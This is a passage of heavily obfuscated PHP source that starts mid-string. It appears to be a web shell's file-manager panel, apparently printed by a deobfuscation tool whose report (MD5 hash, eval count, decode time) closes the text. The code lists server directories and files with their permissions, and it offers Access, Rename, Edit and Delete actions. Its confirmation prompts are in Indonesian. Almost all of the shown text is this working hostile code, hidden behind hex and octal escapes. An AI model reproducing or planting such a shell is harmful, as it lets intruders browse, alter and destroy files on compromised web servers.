3e\xa\40\x20\x20\40\x20\40\x20\x20\x3c\x74\x62\157\144\x79\x3e\12\x20\40\x20\x20"; if ($current_dir) { $parent_dir = dirname($current_dir); echo "\xa\x20\40\40\x20\x20\x20\40\x20\x3c\164\x72\40\x63\x6c\141\x73\163\75\42\144\151\162\x65\143\x74\x6f\162\x79\x22\x3e\12\x20\x20\x20\40\40\40\40\x20\x3c\x74\x64\x20\x63\154\141\163\163\x3d\42\x73\166\x67\42\x3e\74\x61\x20\x63\x6c\x61\x73\x73\x3d\x22\146\157\x6c\x64\145\162\x22\40\150\x72\x65\x66\75\42\77\144\151\162\x3d" . urlencode($parent_dir) . $var . "\42\76\xa\40\40\x20\40\x20\40\x20\x20\x3c\163\166\147\x20\143\x6c\141\x73\163\x3d\x22\167\x2d\x5b\x31\62\160\170\135\40\x68\55\133\x31\x32\x70\170\x5d\40\164\x65\x78\164\x2d\x67\162\141\171\55\x38\x30\x30\40\x64\141\162\x6b\72\164\x65\x78\164\55\167\150\x69\164\x65\x22\40\141\162\x69\141\55\x68\x69\144\144\145\x6e\75\42\164\162\165\145\42\40\170\x6d\154\x6e\x73\x3d\42\150\x74\x74\160\72\x2f\x2f\x77\x77\167\56\167\63\56\157\x72\x67\57\x32\x30\x30\x30\57\x73\x76\x67\x22\x20\x77\x69\144\x74\150\x3d\x22\x32\x34\42\40\x68\145\x69\147\x68\164\75\42\62\x34\42\x20\146\x69\x6c\x6c\75\42\156\x6f\x6e\x65\42\40\166\x69\x65\x77\x42\x6f\170\x3d\x22\x30\40\x30\x20\x32\64\40\x32\64\x22\76\12\40\40\x3c\x70\141\x74\x68\40\x73\x74\162\x6f\x6b\145\x3d\x22\x63\x75\x72\x72\145\156\x74\103\157\154\x6f\x72\42\x20\163\x74\162\x6f\x6b\x65\55\x6c\151\156\x65\x63\x61\160\75\x22\x72\x6f\x75\x6e\x64\42\40\x73\164\162\157\153\145\x2d\154\x69\156\145\x6a\157\151\156\x3d\x22\162\x6f\x75\156\144\42\40\x73\164\162\157\x6b\145\x2d\167\x69\144\x74\x68\x3d\42\x31\42\40\x64\x3d\42\x4d\61\64\56\65\40\x38\56\60\64\66\x48\61\x31\x56\66\56\61\61\x39\143\x30\55\56\71\x32\61\x2d\x2e\x39\x2d\x31\56\64\x34\66\x2d\61\56\65\x32\x34\x2d\56\x38\71\x34\154\55\x35\56\61\60\x38\40\x34\x2e\x34\71\x61\61\x2e\x32\x20\x31\x2e\x32\x20\x30\40\60\40\x30\40\x30\40\x31\56\67\63\71\x6c\x35\x2e\x31\60\x38\40\64\56\x34\x39\143\56\x36\x32\64\56\x35\x35\x36\40\61\x2e\65\62\64\56\x30\x32\x37\40\61\56\x35\62\x34\55\x2e\x38\71\63\x76\55\x31\x2e\71\x32\x38\150\62\141\x33\56\60\62\63\40\63\56\x30\62\63\x20\60\x20\x30\x20\x31\x20\x33\x20\x33\x2e\x30\64\66\x56\61\71\x61\65\56\65\71\x33\40\65\x2e\65\71\63\x20\60\40\x30\x20\60\x2d\61\56\65\x2d\61\x30\56\x39\x35\x34\132\x22\x2f\x3e\12\x3c\57\x73\166\x67\76\74\57\141\76\12\x20\x20\x20\x20\40\40\40\40\74\x2f\164\x64\76\12\40\40\x20\x20\x20\x20\x20\40\x3c\x74\x64\x20\143\157\154\163\x70\x61\156\75\42\x35\42\76\x3c\x61\40\x63\154\141\x73\x73\x3d\42\146\157\154\x64\x65\x72\42\40\x68\162\x65\146\75\x22\x3f\144\x69\162\75" . urlencode($parent_dir) . $var . "\x22\x3e\12\40\x20\40\40\40\40\40\x20\xa\57\x2e\56\40\74\57\x61\x3e\74\57\x74\144\x3e\xa\x3c\x2f\164\x72\x3e"; } foreach ($directories as $directory) { $full_path = $current_path . "\x2f" . $directory; $folder_mtime = date("\144\x20\x4d\40\x59\x20\110\x3a\x69\x3a\x73", filemtime($full_path)); $folder_perms = formatPermissions(fileperms($full_path)); echo "\74\x74\162\x20\x63\x6c\x61\x73\x73\x3d\42\144\151\162\145\x63\164\157\162\171\42\x3e\12\40\x20\x20\x20\40\x20\40\x20\74\x74\144\40\x63\154\141\x73\x73\x3d\42\163\x76\147\42\76\12\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\74\141\x20\x63\x6c\x61\163\163\75\x22\x66\157\x6c\144\145\x72\x22\40\150\162\x65\146\75\42\77\144\151\162\x3d" . urlencode($current_dir . "\57" . $directory) . $var . "\x22\x3e\xa\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\74\163\x76\147\40\143\x6c\141\163\x73\x3d\42\167\55\x5b\x31\x32\160\x78\x5d\x20\150\x2d\133\61\x32\160\x78\135\40\x74\x65\x78\x74\x2d\x67\162\x61\x79\x2d\x38\60\x30\x20\144\141\162\153\72\x74\x65\x78\164\x2d\x77\150\x69\164\145\42\x20\x61\x72\151\x61\x2d\150\x69\144\x64\x65\156\75\42\x74\162\x75\145\42\x20\170\x6d\154\x6e\x73\75\x22\x68\164\x74\x70\x3a\x2f\x2f\167\167\167\56\167\63\x2e\157\x72\x67\57\x32\x30\x30\x30\x2f\x73\166\x67\42\x20\x77\151\144\x74\150\x3d\42\62\64\42\40\x68\145\x69\147\x68\164\75\x22\62\64\42\x20\x66\151\x6c\154\75\x22\x6e\x6f\156\x65\42\x20\166\151\145\x77\102\157\x78\75\42\x30\40\60\40\x32\x34\40\x32\64\x22\76\xa\40\x20\74\160\x61\x74\x68\x20\x73\164\162\157\153\x65\75\x22\143\x75\x72\x72\x65\x6e\164\x43\x6f\154\157\162\x22\40\x73\164\x72\x6f\153\145\55\x6c\151\156\x65\143\x61\160\x3d\42\162\157\165\156\x64\x22\40\x73\x74\x72\157\153\145\x2d\x6c\x69\x6e\145\x6a\x6f\x69\156\75\x22\162\x6f\x75\x6e\144\x22\40\x73\164\162\x6f\x6b\145\x2d\x77\x69\x64\164\x68\75\x22\61\x22\x20\x64\x3d\x22\x4d\61\63\56\65\40\x38\110\x34\x6d\60\55\x32\166\x31\63\x61\x31\x20\x31\40\60\x20\60\x20\60\x20\61\x20\x31\150\61\64\x61\61\40\x31\40\x30\40\60\x20\60\x20\x31\55\x31\x56\x39\141\61\x20\61\x20\x30\40\x30\x20\60\55\61\55\x31\150\55\65\x2e\60\x33\x32\x61\61\40\x31\40\60\40\x30\x20\x31\x2d\56\x37\66\x38\55\x2e\63\x36\154\55\x31\x2e\71\x2d\x32\56\x32\x38\141\61\40\x31\40\x30\x20\x30\40\60\55\x2e\67\66\70\x2d\x2e\63\66\x48\65\x61\x31\40\x31\x20\x30\x20\60\x20\60\55\x31\x20\x31\132\x22\57\76\xa\74\57\163\166\147\x3e\x3c\57\141\x3e\xa\x3c\x2f\x74\x64\x3e\xa\40\40\40\40\x20\40\x20\x20\74\164\144\x3e\xa\x20\40\40\40\40\x20\40\x20\40\x20\x20\x20\x3c\141\40\x63\x6c\141\163\163\75\x22\146\x6f\154\x64\x65\x72\42\40\x68\x72\x65\146\75\42\77\144\151\x72\x3d" . urlencode($current_dir . "\x2f" . $directory) . $var . "\42\76\12" . htmlspecialchars($directory) . "\74\x2f\x61\x3e\xa\x3c\x2f\x74\144\76\12\x3c\164\x64\40\143\154\141\x73\x73\x3d\x22\x73\151\172\x65\x22\x3e\x20\x2d\55\x2d\40\x3c\57\x74\144\x3e\12\x3c\164\144\x20\143\x6c\x61\163\x73\75\x22\155\x6f\144\151\x66\171\42\76" . $folder_mtime . "\74\x2f\164\x64\x3e\xa\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\x70\x65\162\155\163\x22\x3e" . $folder_perms . "\74\57\164\144\76\12\74\x74\x64\x20\x63\x6c\x61\163\163\75\x22\141\143\x74\151\157\156\x73\x22\x3e\12\x3c\141\40\143\x6c\x61\163\x73\75\42\x73\165\142\155\x69\164\x22\x20\150\162\x65\x66\75\42\77\x64\151\162\x3d" . urlencode($current_dir) . "\x26\x61\143\x63\145\163\x73\137\164\x61\x72\147\145\164\x3d" . urlencode($directory) . $var . "\x22\x20\x74\x69\164\x6c\x65\75\x22\101\x63\143\x65\163\x73\x22\x3e\x41\74\x2f\x61\76\xa\x3c\141\40\x63\x6c\141\x73\163\x3d\42\x73\165\x62\155\x69\164\x22\x20\x68\162\145\x66\75\42\x3f\x64\x69\x72\x3d" . urlencode($current_dir) . "\46\162\x65\156\141\155\145\137\x74\141\x72\147\x65\x74\75" . urlencode($directory) . $var . "\x22\x20\164\x69\164\154\145\75\42\122\145\x6e\x61\x6d\145\x22\x3e\x52\74\x2f\141\76\xa"; ?>
<form method="post"style="display:inline"><input name="delete_target"value="<?php echo htmlspecialchars($current_dir . "\x2f" . $directory); ?>
"type="hidden"> <input name="delete_folder"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus folder ini?")'title="Delete"></form><?php echo "\12\x3c\57\x74\x64\x3e\12\74\57\x74\x72\x3e"; } $array = array("\x70\150\160", "\x68\164\x6d\x6c", "\x63\x73\163", "\x6a\x73"); foreach ($files as $file) { $full_path = $current_path . "\57" . $file; $file_size = formatSize(filesize($full_path)); $file_mtime = date("\x64\x20\x4d\40\x59\x20\x48\72\x69\72\x73", filemtime($full_path)); $file_perms = formatPermissions(fileperms($full_path)); echo "\74\164\162\x20\x63\x6c\141\163\163\75\x22\x66\x69\x6c\145\x22\x3e"; echo "\x3c\164\144\76\12\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\74\x73\166\x67\40\143\154\x61\163\x73\x3d\x22\167\55\x5b\61\x32\x70\170\x5d\x20\x68\x2d\133\x31\62\160\170\135\x20\x74\145\170\164\x2d\x67\162\x61\x79\55\70\60\x30\40\x64\x61\x72\x6b\72\x74\x65\170\x74\x2d\167\x68\151\164\x65\x22\40\x61\162\151\x61\55\150\151\144\144\145\x6e\75\42\164\x72\x75\145\42\40\x78\x6d\x6c\156\163\75\x22\x68\x74\164\160\x3a\57\57\167\x77\167\x2e\x77\x33\x2e\157\162\147\57\x32\x30\x30\60\57\163\166\147\x22\x20\x77\151\144\164\150\x3d\42\62\64\x22\40\x68\x65\151\147\150\x74\75\42\62\64\42\40\146\x69\154\154\75\42\x6e\157\156\145\x22\40\166\151\145\167\102\x6f\170\75\42\x30\x20\x30\40\62\64\40\62\x34\x22\76\12\x20\40\x3c\x70\141\x74\x68\40\x73\164\x72\x6f\x6b\x65\x3d\42\143\x75\162\x72\145\x6e\164\103\157\154\157\162\42\40\x73\x74\162\x6f\153\145\x2d\x6c\151\x6e\145\152\157\x69\156\x3d\42\x72\x6f\165\x6e\144\42\40\x73\x74\162\x6f\153\x65\x2d\167\x69\x64\164\x68\x3d\x22\x31\x22\40\x64\x3d\42\x4d\61\x30\40\63\166\x34\x61\61\x20\61\40\x30\40\x30\40\x31\55\x31\40\61\x48\65\x6d\x31\x34\x2d\x34\x76\x31\66\x61\x31\40\x31\40\60\x20\60\40\61\55\x31\40\x31\110\x36\141\x31\40\x31\40\x30\x20\x30\x20\x31\55\61\55\61\126\x37\x2e\x39\61\64\x61\61\x20\61\x20\x30\40\60\x20\x31\x20\x2e\62\x39\x33\x2d\56\x37\x30\x37\x6c\x33\x2e\71\61\x34\55\x33\x2e\x39\x31\x34\x41\x31\40\x31\40\60\x20\x30\x20\x31\x20\x39\x2e\x39\61\x34\x20\63\x48\61\70\141\61\x20\61\40\60\40\60\x20\x31\x20\61\x20\x31\132\42\57\76\12\x3c\57\x73\x76\x67\x3e\xa\40\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\74\x2f\164\144\76"; if (in_array(pathinfo($file, PATHINFO_EXTENSION), $array)) { echo "\74\164\x64\76\xa\40\x20\x20\x20\40\40\40\40\x20\40\x20\40" . htmlspecialchars($file) . "\74\x2f\164\144\x3e\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x3c\x2f\164\144\76\12\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\x3c\x74\x64\40\143\x6c\141\x73\163\x3d\42\x73\x69\172\x65\x22\76" . $file_size . "\x3c\57\164\144\76\xa\40\x20\40\x20\40\40\x20\40\40\40\40\40\x20\x20\40\x20\74\x74\144\x20\x63\x6c\141\x73\x73\75\x22\x6d\x6f\144\x69\x66\x79\x22\x3e" . $file_mtime . "\74\x2f\164\144\76\12\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\74\x74\x64\x20\143\x6c\x61\x73\x73\x3d\x22\160\x65\162\x6d\163\42\76" . $file_perms . "\74\x2f\x74\144\76\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\74\164\x64\x20\143\154\141\x73\163\x3d\42\141\143\x74\151\x6f\x6e\163\42\x3e\xa\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\74\141\40\x63\154\141\163\x73\x3d\42\x73\x75\142\x6d\151\x74\42\x20\150\x72\x65\x66\x3d\42\77\144\x69\162\x3d" . urlencode($current_dir) . "\46\x61\x63\x63\145\x73\x73\137\x74\141\x72\147\x65\x74\x3d" . urlencode($file) . $var . "\x22\x20\x74\151\164\x6c\145\x3d\x22\101\x63\143\145\x73\x73\42\76\101\74\57\141\76\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x3c\141\x20\x63\x6c\141\163\x73\75\x22\x73\165\142\155\x69\x74\42\40\150\162\x65\x66\x3d\x22\x3f\144\x69\x72\x3d" . urlencode($current_dir) . "\46\162\x65\x6e\x61\x6d\x65\x5f\164\x61\x72\147\x65\164\75" . urlencode($file) . $var . "\x22\x20\164\151\164\154\145\75\x22\122\x65\x6e\141\x6d\145\x22\x3e\122\74\57\x61\x3e\12\x20\40\40\40\40\x20\40\40\40\40\40\x20\x20\x20\x20\40\74\x61\40\x63\154\141\x73\163\75\x22\163\165\x62\x6d\x69\164\x22\40\150\162\x65\146\x3d\x22\x3f\144\151\162\x3d" . urlencode($current_dir) . "\46\x66\151\x6c\x65\75" . urlencode($file) . $var . "\x22\40\164\x69\164\x6c\145\x3d\x22\x45\144\151\164\x22\76\x26\x6e\142\163\x70\x3b\x45\74\57\141\76\12\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20"; ?>
<form method="post"style="display:inline"><input name="delete_target"value="<?php echo htmlspecialchars($current_dir . "\57" . $file); ?>
"type="hidden"> <input name="delete_file"value="X"type="submit"class="submit"onclick='return confirm("Apakah Anda yakin ingin menghapus file ini?")'title="Delete"></form><?php echo "\12\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\74\57\164\144\76\xa\x20\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40"; } else { echo "\x3c\x74\x64\x3e" . htmlspecialchars($file) . "\xa\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\57\x74\144\76\xa\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x3c\164\x64\x20\x63\x6c\141\x73\x73\x3d\x22\x73\x69\x7a\145\x22\x3e" . $file_size . "\74\57\x74\x64\76\12\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x3c\x74\x64\40\x63\x6c\x61\163\x73\x3d\x22\155\x6f\144\x69\146\171\x22\76" . $file_mtime . "\74\57\164\x64\76\12\40\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\74\164\144\x20\143\154\x61\163\163\75\42\x70\145\162\155\163\42\x3e" . $file_perms . "\x3c\x2f\x74\144\76\xa\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\x20\40\74\x74\144\40\x63\x6c\x61\x73\x73\75\42\x61\x63\164\x69\157\x6e\x73\x22\x3e\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\40\74\141\40\x68\x72\x65\x66\75\42\x3f\144\151\x72\x3d" . urlencode($current_dir) . "\x26\x72\145\156\141\x6d\145\x5f\x74\141\162\147\145\x74\x3d" . urlencode($file) . $var . "\42\76\x52\74\57\141\x3e\12\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\57\164\x64\76"; } echo "\x3c\57\164\x72\x3e"; } ?>
</body></html><?php die; } ?>
Function Calls
None |
Stats
MD5 | 145b13f05e591a71d66e7067cfc475af |
Eval Count | 0 |
Decode Time | 82 ms |